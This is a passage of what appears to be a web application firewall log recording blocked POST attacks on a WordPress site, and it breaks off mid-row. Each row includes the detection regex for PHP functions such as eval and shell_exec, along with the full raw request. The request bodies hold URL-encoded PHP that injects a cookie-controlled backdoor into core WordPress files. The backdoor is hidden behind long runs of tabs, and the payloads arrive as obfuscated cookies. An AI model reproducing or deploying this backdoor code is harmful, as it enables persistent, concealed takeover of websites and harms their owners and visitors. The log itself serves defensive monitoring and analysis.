clude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3271\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nyL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:45:07","34.101.101.253","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:3294\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:45:14","38.99.81.38","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3266\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nUF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:45:20","91.142.222.105","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3266\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\ndR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-themes-panel.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B1%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B14%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:45:43","41.76.213.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 